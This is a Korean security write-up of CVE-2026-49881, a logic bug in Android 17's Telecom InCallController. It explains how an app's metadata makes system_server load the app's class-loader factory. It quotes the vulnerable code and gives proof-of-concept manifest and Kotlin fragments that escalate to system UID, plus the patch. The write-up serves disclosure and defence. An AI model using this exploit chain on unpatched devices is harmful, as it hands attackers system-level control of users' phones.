[하루한줄] CVE-2026-49881 : Android InCallController의 Logical Bug로 인한 System EoP
URL
Target
- Android 17 버전 (ASB 2026-09 미적용 빌드)
Explain
CVE-2026-49881은 Android InCallController에서 발생하는 Logical Bug 취약점입니다. 서비스 클래스가 존재하는지 확인하려다가 일반 앱의 코드를 system_server 내부에서 실행하여, 최종적으로 System(uid=1000) EoP까지 가능한 취약점입니다.
background
Android의 Telecom은 통화 상태와 통화 관련 서비스 연결을 관리합니다. InCallController는 통화가 추가되면 사용할 InCallService 후보들을 찾아 처리합니다.
정상적인 서비스 연결은 서비스가 속한 앱 프로세스와 바인딩하여 통신하는 방식입니다. 그러나 취약한 코드에는 바인딩 전에 해당 앱의 서비스 클래스가 실제로 존재하는지 확인하는 별도 단계가 있었습니다.
serviceClassExists()의 주석상 목적은 Manifest에 서비스가 선언되어 있지만 실제 클래스가 빌드에 포함되지 않았을 때 발생하는 시스템 크래시를 예방하는 것입니다. 이 확인을 위해 외부 앱의 클래스 로더를 얻는 과정이 문제인데, 앱 컴포넌트가 생성되기 전에 AppComponentFactory.instantiateClassLoader()를 호출합니다. 문제는 이 함수가 신뢰되지 않은 앱에 대해 시스템 프로세스 안에서 호출했다는 점입니다.
root cause
// InCallController.getInCallServiceComponents()
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
후보 서비스의 Manifest에 android.telecom.CLASS_EXISTENCE_CHECK=true가 선언되어 있으면 시스템이 serviceClassExists()를 호출합니다. 공격자 앱도 이 메타데이터를 선언할 수 있으므로, 클래스 확인 경로에 진입시킬 수 있습니다.
// InCallController.serviceClassExists()
Context packageContext = mContext.createPackageContextAsUser(
serviceInfo.packageName,
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY, userHandle);
ClassLoader classLoader = packageContext.getClassLoader();
Class.forName(serviceInfo.name, false, classLoader);
CONTEXT_INCLUDE_CODE로 외부 앱의 코드를 호출자 프로세스에서 로드하도록 하고, CONTEXT_IGNORE_SECURITY를 통해 UID 기반 보호 검사를 실행하지 않습니다. 이 상태에서 packageContext.getClassLoader()를 호출하면 공격자 앱이 등록한 AppComponentFactory가 생성되고, 그 팩토리의 instantiateClassLoader()가 실행될 수 있습니다. 호출자가 system_server이므로 공격자 코드도 시스템 프로세스 내부에서 실행됩니다.
따라서, 공격자의 앱의 AppComponentFactory가 system_server 내부에서 실행되어 system_server 권한을 획득할 수 있습니다.
exploit
PoC는 Post exploitation까지 구현되어 있습니다. PoC에 사용되는 APK는 취약점을 트리거하는 poc.apk, 내부 asset에 존재하여 권한 상승 후 재설치 할 system.apk 2개입니다.
<!-- AndroidManifest.xml -->
<uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
android:appComponentFactory=".EvilFactory"
<service
android:name=".DummyService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true"
tools:ignore="MissingClass">
<meta-data
android:name="android.telecom.CLASS_EXISTENCE_CHECK"
android:value="true" />
<intent-filter>
<action android:name="android.telecom.InCallService" />
</intent-filter>
</service>
MANAGE_OWN_CALLS로 자신의 통화를 Telecom에 추가할 수 있게 하고, InCallService 선언으로 Telecom의 서비스 후보 조회에 포함시킵니다. CLASS_EXISTENCE_CHECK=true로 취약한 클래스 존재 확인을 요청하고, .EvilFactory로 클래스 로더 생성 중 실행될 공격자 팩토리를 지정합니다.
// MainActivity.onCreate()
binding.start.setOnClickListener {
val telecomManager = this.getSystemService(TELECOM_SERVICE) as TelecomManager
val handle = PhoneAccountHandle(ComponentName(packageName,
"$packageName.DummyService"), "A")
telecomManager.registerPhoneAccount(
PhoneAccount.builder(handle, "A")
.setCapabilities(PhoneAccount.CAPABILITY_SUPPORTS_TRANSACTIONAL_OPERATIONS)
.build()
)
telecomManager.addCall(
CallAttributes.Builder(handle,
CallAttributes.DIRECTION_INCOMING,
"A", "tel:0".toUri()).build(),
버튼 처리부터 통화 추가 호출까지 이어지는 부분입니다. DummyService를 가리키는 계정을 등록하고, 그 계정으로 incoming 통화를 추가합니다. 이 호출로 Telecom의 서비스 조사가 실행되며, Manifest의 클래스 확인 메타데이터에 따라 취약 함수로 진입합니다.
// EvilFactory.instantiateClassLoader()
override fun instantiateClassLoader(cl: ClassLoader, aInfo: ApplicationInfo): ClassLoader {
if (Process.myUid() == aInfo.uid) return super.instantiateClassLoader(cl, aInfo)
자기 앱 프로세스에서 호출되면 현재 UID와 앱 UID가 같으므로 반환합니다. 시스템 프로세스에서 호출되면 두 UID가 달라 후속 코드로 진행합니다.
// EvilFactory.instantiateClassLoader()
injectSystemSignatures(pm)
reinstall()
pm.setBlockUninstallLPw(0, packageName, true)
시스템 shared UID의 서명 상태를 변경하고, 시스템 UID용 APK로 재설치를 트리거 합니다.
<!-- system/AndroidManifest.xml -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:sharedUserId="android.uid.system">
<application android:process="system" />
</manifest>
앞서 시스템 내부 실행 권한을 확보하고 서명 상태를 변경한 후, 재설치하는 APK입니다. 이를 통해 아래처럼 system shell을 확보합니다.

Patch
패치는 serviceClassExists()와 getInCallServiceComponents()에서 클래스 확인 메타데이터를 읽고 함수를 호출하던 분기를 삭제했습니다. 이를 통해 앱이 Manifest에 CLASS_EXISTENCE_CHECK=true를 선언해도, 이 메타데이터로 외부 클래스 로딩을 유발할 수 없습니다.
Reference
- https://nvd.nist.gov/vuln/detail/cve-2026-49881
- https://android.googlesource.com/platform/packages/services/Telecomm/+/668eb07260ec0f1fbb00910f2b31a4c10b857906
- https://android.googlesource.com/platform/packages/services/Telecomm/+/fd904cb0c788339847b6165873e9081ebe70948e/src/com/android/server/telecom/InCallController.java
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.